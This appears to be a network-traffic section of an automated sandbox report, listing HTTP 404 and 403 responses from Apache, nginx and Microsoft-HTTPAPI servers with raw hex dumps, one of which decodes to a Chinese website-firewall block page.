<!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 14:17:21 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 01 Jul 2024 14:17:40 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cacheContent-Encoding: gzipData Raw: 33 63 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 54 5d 6f 13 47 14 7d 8e 7f c5 74 a3 0a 1b c5 3b 6b c7 b8 61 bd b6 44 51 2a 21 52 b5 52 53 f1 80 aa 6a bc 3b eb 1d b2 de d9 ec 8e f3 51 cb 12 49 4b 0a 02 9a a0 12 35 1f 95 68 43 9b 96 46 32 85 54 82 92 18 fe 4c 66 ed 3c e5 2f 74 f6 c3 c6 21 d4 7e d8 9d bb f7 9e 73 cf 9d 33 a3 7d 60 50 9d 2d ba 18 58 ac 6e 57 52 5a ff 81 91 21 56 75 cc 10 d0 2d e4 f9 98 95 a5 06 33 b3 13 92 08 33 c2 6c 5c e9 76 1e 74 f7 36 8f 37 9e 77 97 f6 f8 ce a6 06 e3 70 4a f3 d9 a2 f8 9c 3a df ac 23 af 46 1c 55 29 b9 c8 30 88 53 13 6f 3a b5 a9 a7 8e 16 0a 85 56 aa 4a 8d c5 a6 49 1d 96 f5 c9 37 58 cd 15 dc 85 52 b4 34 51 9d d8 8b aa c4 db 77 8f 3a 3f 4a ad 94 5c 47 c4 69 ce 13 83 59 6a 51 51 44 5e 02 9d 53 3e 04 a8 c1 68 49 e4 44 f4 cd 2a d2 67 6a 1e 6d 38 86 0a 46 f3 0a ba 30 8e 12 52 30 6a 9a 66 4c 10 f1 81 5c 51 00 59 98 d4 2c a6 82 42 88 6a 13 07 67 4f 45 92 ce b3 36 36 45 52 3e 4c 12 54 ba e8 12 3b 6c 88 2c 9b 08 33 c7 cd 8f cc 8b 25 90 80 e4 27 c2 8a 2a f5 0c ec a9 39 77 01 18 c8 b7 b0 01 46 f5 a2 71 b1 5a 1c 0c 26 04 0e 25 e4 9a 71 6e b6 4a 19 a3 75 d1 e3 d9 9a 98 29 54 53 50 14 25 16 34 9f a8 a8 52 db 28 81 64 38 40 11 ff a8 65 d0 97 31 80 9d 88 85 b0 7c b2 49 7d c2 30 0e a2 4d 48 20 43 c4 56 8a da 83 cd 4c 30 41 3e 2f 52 df 6e 6c 98 03 6c d2 1c 1e e1 78 a4 4a 83 89 21 34 68 c5 b6 f2 75 8f b8 ec ad b1 be 9c fe 44 18 0b 10 a3 2c 4d 5d fa fa f2 67 53 53 93 97 a7 25 e0 7b 7a 59 82 d0 37 66 e4 0b 39 d9 46 f0 86 9f 15 8b ac eb 51 b9 4e 1c f9 86 2f 55 04 78 04 26 5c 99 bc 4c 5d 92 89 43 58 ba 49 0c 55 ba fa f9 dc 17 b4 46 ae 91 85 8f 27 27 ad 6b 57 a4 31 7d e6 3d d1 56 66 08 27 b4 65 25 35 a2 19 64 0e e8 36 f2 fd b2 14 da 4f 18 7f e4 54 30 f2 9b 74 f6 18 88 ba 77 53 13 bf 44 10 23 9a db 87 65 39 a9 12 2c ff d9 dd fa ae f7 f4 45 f0 6c 99 bf dc 0d 7e be 73 f4 f2 3e 5f bb 1d ec af f3 d5 e5 60 fd ef 93 c3 7b fc c5 f3 de ce 5e 7c de ba ed 5f bb 6b 2b fc c1 46 af fd ba db 69 07 77 77 83 db 7f 9d 1c 2e 69 d0 7d 17 3d 2f 55 f8 ea d3 de b7 1d fe c3 23 be fd cb c9 e1 d6 20 89 8a b3 2e 5a 19 d1 6c 12 76 10 ac ae 1d bd fa 4d f4 c1 57 6e f1 f6 bf fc de 2d be b6 c7 ef 3f 3b de 7c 22 82 c1 c3 03 fe fd 41 dc a2 06 45 45 a4 02 26 18 43 72 42 c2 dd e5 a3 ce 7a ef 8f c7 7c 65 ff 7f 09 1f df 0c 1e fd 1e 73 c6 84 27 87 db 03 e0 a8 27 01 13 cb 0d ee 6c 08 c5 62 06 82 be b7 f4 b0 bb 7f d0 7d f2 ea f8 a7 7f c2 ea d7 db 7c 7d e5 4c 69 b0 d9 3e be b9 15 57 f7 da 6f 78 7b e7 54 75 74 69 0d 86 38 5c dd 57 a4 c1 78 07 93 a7 06 63 43 f4 fd 95 02 83 9f b8 15 a7 49 1d d3 06 4b 9b 0d 47 67 84 3a e9 4c 73 28 01 cc 21 0f 20 cf 2b 5f 3f 67 31 e6 aa 10 d6 66 8b 85 d9 82 ac 3b b0 e1 63 0f 1a d8 27 35 07 86 36 83 58 44 a0 3f e3 37 f0 ec 6c 63 d6 84 13 b9 73 63 5f 95 86 d0 e6 89 63 d0 79 d9 a6 3a 0a a9 64 cb c3 66 59 a0 5f 77 c3 0b fa 8a c3 d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 01 Jul 2024 14:17:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cacheContent-Encoding: gzipData Raw: 33 63 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 54 5d 6f 13 47 14 7d 8e 7f c5 74 a3 0a 1b c5 3b 6b c7 b8 61 bd b6 44 51 2a 21 52 b5 52 53 f1 80 aa 6a bc 3b eb 1d b2 de d9 ec 8e f3 51 cb 12 49 4b 0a 02 9a a0 12 35 1f 95 68 43 9b 96 46 32 85 54 82 92 18 fe 4c 66 ed 3c e5 2f 74 f6 c3 c6 21 d4 7e d8 9d bb f7 9e 73 cf 9d 33 a3 7d 60 50 9d 2d ba 18 58 ac 6e 57 52 5a ff 81 91 21 56 75 cc 10 d0 2d e4 f9 98 95 a5 06 33 b3 13 92 08 33 c2 6c 5c e9 76 1e 74 f7 36 8f 37 9e 77 97 f6 f8 ce a6 06 e3 70 4a f3 d9 a2 f8 9c 3a df ac 23 af 46 1c 55 29 b9 c8 30 88 53 13 6f 3a b5 a9 a7 8e 16 0a 85 56 aa 4a 8d c5 a6 49 1d 96 f5 c9 37 58 cd 15 dc 85 52 b4 34 51 9d d8 8b aa c4 db 77 8f 3a 3f 4a ad 94 5c 47 c4 69 ce 13 83 59 6a 51 51 44 5e 02 9d 53 3e 04 a8 c1 68 49 e4 44 f4 cd 2a d2 67 6a 1e 6d 38 86 0a 46 f3 0a ba 30 8e 12 52 30 6a 9a 66 4c 10 f1 81 5c 51 00 59 98 d4 2c a6 82 42 88 6a 13 07 67 4f 45 92 ce b3 36 36 45 52 3e 4c 12 54 ba e8 12 3b 6c 88 2c 9b 08 33 c7 cd 8f cc 8b 25 90 80 e4 27 c2 8a 2a f5 0c ec a9 39 77 01 18 c8 b7 b0 01 46 f5 a2 71 b1 5a 1c 0c 26 04 0e 25 e4 9a 71 6e b6 4a 19 a3 75 d1 e3 d9 9a 98 29 54 53 50 14 25 16 34 9f a8 a8 52 db 28 81 64 38 40 11 ff a8 65 d0 97 31 80 9d 88 85 b0 7c b2 49 7d c2 30 0e a2 4d 48 20 43 c4 56 8a da 83 cd 4c 30 41 3e 2f 52 df 6e 6c 98 03 6c d2 1c 1e e1 78 a4 4a 83 89 21 34 68 c5 b6 f2 75 8f b8 ec ad b1 be 9c fe 44 18 0b 10 a3 2c 4d 5d fa fa f2 67 53 53 93 97 a7 25 e0 7b 7a 59 82 d0 37 66 e4 0b 39 d9 46 f0 86 9f 15 8b ac eb 51 b9 4e 1c f9 86 2f 55 04 78 04 26 5c 99 bc 4c 5d 92 89 43 58 ba 49 0c 55 ba fa f9 dc 17 b4 46 ae 91 85 8f 27 27 ad 6b 57 a4 31 7d e6 3d d1 56 66 08 27 b4 65 25 35 a2 19 64 0e e8 36 f2 fd b2 14 da 4f 18 7f e4 54 30 f2 9b 74 f6 18 88 ba 77 53 13 bf 44 10 23 9a db 87 65 39 a9 12 2c ff d9 dd fa ae f7 f4 45 f0 6c 99 bf dc 0d 7e be 73 f4 f2 3e 5f bb 1d ec af f3 d5 e5 60 fd ef 93 c3 7b fc c5 f3 de ce 5e 7c de ba ed 5f bb 6b 2b fc c1 46 af fd ba db 69 07 77 77 83 db 7f 9d 1c 2e 69 d0 7d 17 3d 2f 55 f8 ea d3 de b7 1d fe c3 23 be fd cb c9 e1 d6 20 89 8a b3 2e 5a 19 d1 6c 12 76 10 ac ae 1d bd fa 4d f4 c1 57 6e f1 f6 bf fc de 2d be b6 c7 ef 3f 3b de 7c 22 82 c1 c3 03 fe fd 41 dc a2 06 45 45 a4 02 26 18 43 72 42 c2 dd e5 a3 ce 7a ef 8f c7 7c 65 ff 7f 09 1f df 0c 1e fd 1e 73 c6 84 27 87 db 03 e0 a8 27 01 13 cb 0d ee 6c 08 c5 62 06 82 be b7 f4 b0 bb 7f d0 7d f2 ea f8 a7 7f c2 ea d7 db 7c 7d e5 4c 69 b0 d9 3e be b9 15 57 f7 da 6f 78 7b e7 54 75 74 69 0d 86 38 5c dd 57 a4 c1 78 07 93 a7 06 63 43 f4 fd 95 02 83 9f b8 15 a7 49 1d d3 06 4b 9b 0d 47 67 84 3a e9 4c 73 28 01 cc 21 0f 20 cf 2b 5f 3f 67 31 e6 aa 10 d6 66 8b 85 d9 82 ac 3b b0 e1 63 0f 1a d8 27 35 07 86 36 83 58 44 a0 3f e3 37 f0 ec 6c 63 d6 84 13 b9 73 63 5f 95 86 d0 e6 89 63 d0 79 d9 a6 3a 0a a9 64 cb c3 66 59 a0 5f 77 c3 0b fa 8a c3 d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 01 Jul 2024 14:17:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cacheContent-Encoding: gzipData Raw: 33 63 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 54 5d 6f 13 47 14 7d 8e 7f c5 74 a3 0a 1b c5 3b 6b c7 b8 61 bd b6 44 51 2a 21 52 b5 52 53 f1 80 aa 6a bc 3b eb 1d b2 de d9 ec 8e f3 51 cb 12 49 4b 0a 02 9a a0 12 35 1f 95 68 43 9b 96 46 32 85 54 82 92 18 fe 4c 66 ed 3c e5 2f 74 f6 c3 c6 21 d4 7e d8 9d bb f7 9e 73 cf 9d 33 a3 7d 60 50 9d 2d ba 18 58 ac 6e 57 52 5a ff 81 91 21 56 75 cc 10 d0 2d e4 f9 98 95 a5 06 33 b3 13 92 08 33 c2 6c 5c e9 76 1e 74 f7 36 8f 37 9e 77 97 f6 f8 ce a6 06 e3 70 4a f3 d9 a2 f8 9c 3a df ac 23 af 46 1c 55 29 b9 c8 30 88 53 13 6f 3a b5 a9 a7 8e 16 0a 85 56 aa 4a 8d c5 a6 49 1d 96 f5 c9 37 58 cd 15 dc 85 52 b4 34 51 9d d8 8b aa c4 db 77 8f 3a 3f 4a ad 94 5c 47 c4 69 ce 13 83 59 6a 51 51 44 5e 02 9d 53 3e 04 a8 c1 68 49 e4 44 f4 cd 2a d2 67 6a 1e 6d 38 86 0a 46 f3 0a ba 30 8e 12 52 30 6a 9a 66 4c 10 f1 81 5c 51 00 59 98 d4 2c a6 82 42 88 6a 13 07 67 4f 45 92 ce b3 36 36 45 52 3e 4c 12 54 ba e8 12 3b 6c 88 2c 9b 08 33 c7 cd 8f cc 8b 25 90 80 e4 27 c2 8a 2a f5 0c ec a9 39 77 01 18 c8 b7 b0 01 46 f5 a2 71 b1 5a 1c 0c 26 04 0e 25 e4 9a 71 6e b6 4a 19 a3 75 d1 e3 d9 9a 98 29 54 53 50 14 25 16 34 9f a8 a8 52 db 28 81 64 38 40 11 ff a8 65 d0 97 31 80 9d 88 85 b0 7c b2 49 7d c2 30 0e a2 4d 48 20 43 c4 56 8a da 83 cd 4c 30 41 3e 2f 52 df 6e 6c 98 03 6c d2 1c 1e e1 78 a4 4a 83 89 21 34 68 c5 b6 f2 75 8f b8 ec ad b1 be 9c fe 44 18 0b 10 a3 2c 4d 5d fa fa f2 67 53 53 93 97 a7 25 e0 7b 7a 59 82 d0 37 66 e4 0b 39 d9 46 f0 86 9f 15 8b ac eb 51 b9 4e 1c f9 86 2f 55 04 78 04 26 5c 99 bc 4c 5d 92 89 43 58 ba 49 0c 55 ba fa f9 dc 17 b4 46 ae 91 85 8f 27 27 ad 6b 57 a4 31 7d e6 3d d1 56 66 08 27 b4 65 25 35 a2 19 64 0e e8 36 f2 fd b2 14 da 4f 18 7f e4 54 30 f2 9b 74 f6 18 88 ba 77 53 13 bf 44 10 23 9a db 87 65 39 a9 12 2c ff d9 dd fa ae f7 f4 45 f0 6c 99 bf dc 0d 7e be 73 f4 f2 3e 5f bb 1d ec af f3 d5 e5 60 fd ef 93 c3 7b fc c5 f3 de ce 5e 7c de ba ed 5f bb 6b 2b fc c1 46 af fd ba db 69 07 77 77 83 db 7f 9d 1c 2e 69 d0 7d 17 3d 2f 55 f8 ea d3 de b7 1d fe c3 23 be fd cb c9 e1 d6 20 89 8a b3 2e 5a 19 d1 6c 12 76 10 ac ae 1d bd fa 4d f4 c1 57 6e f1 f6 bf fc de 2d be b6 c7 ef 3f 3b de 7c 22 82 c1 c3 03 fe fd 41 dc a2 06 45 45 a4 02 26 18 43 72 42 c2 dd e5 a3 ce 7a ef 8f c7 7c 65 ff 7f 09 1f df 0c 1e fd 1e 73 c6 84 27 87 db 03 e0 a8 27 01 13 cb 0d ee 6c 08 c5 62 06 82 be b7 f4 b0 bb 7f d0 7d f2 ea f8 a7 7f c2 ea d7 db 7c 7d e5 4c 69 b0 d9 3e be b9 15 57 f7 da 6f 78 7b e7 54 75 74 69 0d 86 38 5c dd 57 a4 c1 78 07 93 a7 06 63 43 f4 fd 95 02 83 9f b8 15 a7 49 1d d3 06 4b 9b 0d 47 67 84 3a e9 4c 73 28 01 cc 21 0f 20 cf 2b 5f 3f 67 31 e6 aa 10 d6 66 8b 85 d9 82 ac 3b b0 e1 63 0f 1a d8 27 35 07 86 36 83 58 44 a0 3f e3 37 f0 ec 6c 63 d6 84 13 b9 73 63 5f 95 86 d0 e6 89 63 d0 79 d9 a6 3a 0a a9 64 cb c3 66 59 a0 5f 77 c3 0b fa 8a c3 d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 01 Jul 2024 14:17:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cacheData Raw: 36 31 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e e7 bd 91 e7 ab 99 e9 98 b2 e7 81 ab e5 a2 99 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 63 6f 6c 6f 72 3a 23 34 34 34 7d 0a 62 6f 64 79 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 e5 ae 8b e4 bd 93 22 7d 0a 2e 6d 61 69 6e 7b 77 69 64 74 68 3a 36 30 30 70 78 3b 6d 61 72 67 69 6e 3a 31 30 25 20 61 75 74 6f 3b 7d 0a 2e 74 69 74 6c 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 30 61 35 33 61 3b 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 68 65 69 67 68 74 3a 20 34 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 34 30 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 30 70 78 3b 7d 0a 2e 63 6f 6e 74 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 33 66 37 66 39 3b 20 68 65 69 67 68 74 3a 32 38 30 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 64 61 73 68 65 64 20 23 63 36 64 39 62 36 3b 70 61 64 64 69 6e 67 3a 32 30 70 78 7d 0a 2e 74 31 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 64 61 73 68 65 64 20 23 63 36 64 39 62 36 3b 63 6f 6c 6f 72 3a 20 23 66 66 34 30 30 30 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 38 70 78 3b 7d 0a 2e 74 32 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 7d 0a 6f 6c 7b 6d 61 72 67 69 6e 3a 30 20 30 20 32 30 70 78 20 32 32 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 7d 0a 6f 6c 20 6c 69 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 69 64 3d 22 4c 41 5f 43 4f 4c 4c 45 43 54 22 20 73 72 63 3d 22 2f 2f 73 64 6b 2e 35 31 2e 6c 61 2f 6a 73 2d 73 64 6b 2d 70 72 6f 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 4c 41 2e 69 6e 69 74 28 7b 69 64 3a 22 4b 50 76 53 6f 67 69 57 69 78 42 45 45 68 57 49 22 2c 63 6b 3a 22 4b 50 76 53 6f 67 69 57 69 78 42 45 45 68 57 49 22 7d 29 3c 2f 73 63 72 69 70 74 3e 0a 3c 62 6f 64 79 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e e7 bd 91 e7 ab 99 e9 98 b2 e7 81 ab e5 a2 99 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 74 31 22 3e e6 82 a8 e7 9a 84 e8 af b7 e6 b1 82 e5 b8 a6 e6 9c 89 e4 b8 8d e5 90 88 e6 b3 95 e5 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Mon, 01 Jul 2024 14:18:07 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Mon, 01 Jul 2024 14:18:10 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Mon, 01 Jul 2024 14:18:12 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Mon, 01 Jul 2024 14:18:14 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

